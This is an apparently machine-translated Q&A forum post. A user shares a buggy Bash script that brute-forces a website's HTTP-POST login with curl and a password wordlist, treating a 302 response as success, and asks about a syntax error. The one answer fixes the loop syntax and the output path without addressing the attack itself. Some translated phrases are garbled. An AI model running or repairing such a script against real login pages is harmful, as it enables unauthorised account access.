使用 cURL 对 Bash 进行字典攻击

使用 cURL 对 Bash 进行字典攻击

我对 Bash 还不太熟悉,但这是我过去几天一直在编写的一个脚本。它旨在对网站的 HTTP-POST 登录进行字典攻击,通过读取时间模块并按照我设置的秒数向该网站发送登录请求。但是,我遇到了问题。

echo -e "Initiating password cracking session...\n"
echo -e "Seconds per password attempt: \c"

read TIME

if [ "$TIME" -lt "2" ];
then
echo -e "Servers may block out attempts when initiated too frequently,     cracking session will begin anyways.\n"
fi

if [ "$TIME" -gt "2" ];
then
echo -e "Cracking session will take too long to initiate. Session will     continue anyways.\n"
fi

function control_c {
tput setaf 2; echo -en "                                                                Password     cracking session deactivated.\n"
exit $?
}

trap control_c SIGINT

for (( ; ; ))
do
url="https://examplewebsite.com/login"
echo -e "Username: \c"

read user

echo -e "Wordlist: \c"

read pass

for user do
  for pass in pass do
    http_code=$(curl -L -data user="$user" -data password="$pass" "$url" -w '%{http_code}' -o /root/Desktop -s)
    if [[ $http_code -eq 302 ]]; then
      echo "Success: User: '$user' Pass: '$pass'"
      break 2
    fi
 done
sleep $TIME
done
done

顺便说一句,我对 cURL 一无所知,上述与 cURL 相关的语法完全是我在其他网站上读到的。我收到错误消息:语法错误靠近意外令牌http_code=$(curl -L -data user="$user" -data password="$pass" "$url" -w '%{http_code}' -o /root/Desktop -s)' ./jmc.sh: line 36: http_code=$(curl -L -data user="$user" -data password="$pass" "$url" -w '%{http_code}' -o /root/Desktop -s)'

我做错了什么?再说一遍,我对 Bash 和 cURL 都很陌生,所以如果我的脚本似乎有点不对劲,请原谅我。

答案1

简而言之,我故意不提及(很多)你“应该”或“不应该”的事情,只关注语法错误。

  • 对于用户来说:为了在此上下文中必须采用以下格式为了 环形_多变的 列表(虽然我不明白你希望在这里用循环做什么)
  • for pass in pass do: 和上一行一样,没有分号(或者,如果你不喜欢分号,你可以写在下一行(但我也看不出这里循环的原因)

另外我必须要提的一点是:-o /root/桌面意思是“将输出放入名为/根/桌面“。我猜你已经有一个同名的目录,所以你必须给文件赋予不同的名称。

相关内容